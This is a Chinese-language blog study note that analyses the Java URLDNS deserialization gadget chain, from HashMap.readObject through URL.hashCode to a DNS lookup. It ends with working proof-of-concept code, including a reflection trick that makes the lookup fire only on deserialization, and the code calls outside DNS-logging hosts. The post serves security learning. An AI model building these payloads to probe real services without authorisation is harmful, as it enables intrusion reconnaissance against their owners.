https://img2024.cnblogs.com/blog/3305226/202503/3305226-20250331155133325-143341361.jpg

URLDNS链分析学习

URLDNS链分析

原理分析

链的利用方式

Gadget Chain:

HashMap.readObject()

HashMap.putVal()

HashMap.hash()

URL.hashCode()

首先,我们利用的这个类一定得继承serialize类,并且里面完成了能够让我们知道序列化漏洞存在的明显特点,例如dns解析,所以urldns链就诞生了

优点:此链没有任何的第三方依赖,仅用java内置类,没有jdk版本的限制

首先来看,HashMap反序列化的重写

100257e6-3eb6-4e45-96ff-1ad3ee7b9b75

HashMap中用到了putval,调用了hash(key),跟进

33f5f882-75cb-48b1-be72-c09b736897fe

调用了key.hashCode() ,不同的对象调用hashCode()的方法不同,利用链中是使用了URL.hashCode,我们看一下URL里面的这个函数

image-20250405205528087

这里的handler是一个URLStreamHandler类,我们跟进看看

image-20250405205637372

而这一句u.hostAddress = InetAddress.getByName(host);触发了dns解析

image-20250405205931821

image-20250405205959044

所以我们的整条链就已经达到了终点

目前的poc

public class URLDNS {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://rbmqeejvbp.lfcx.eu.org");
        HashMap<URL, String> hm = new HashMap<>();
        hm.put(url,"a");
        //序列化
        new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(hm);
        //反序列化
        new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
    }
}

但发现序列化之前就会触发dns解析,其实就是hm.put时已经把整条链走了一遍了,我们如何避免这个问题?

我们只需要在进行put这一步的时候让hashCode的值不为-1就不会进入handler.hashCode,也就不会触发dns解析

put结束后再把hashCode的值改回-1即可

image-20250405205637372

最终poc

POC:

public class URLDNS {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://ftgxnerujm.yutu.eu.org");
        HashMap<URL, String> hm = new HashMap<>();
        Class urlClass = URL.class;
        Field hashCodeField = urlClass.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        //put前通过反射把url的hashCode值改为任意值
        hashCodeField.set(url,1);
        hm.put(url,"a");
        hashCodeField.set(url,-1);

        //序列化
        new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(hm);
        //反序列化
        new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
    }
}
posted @ 2025-04-05 21:22  kudo4869  阅读(51)  评论(0)    收藏  举报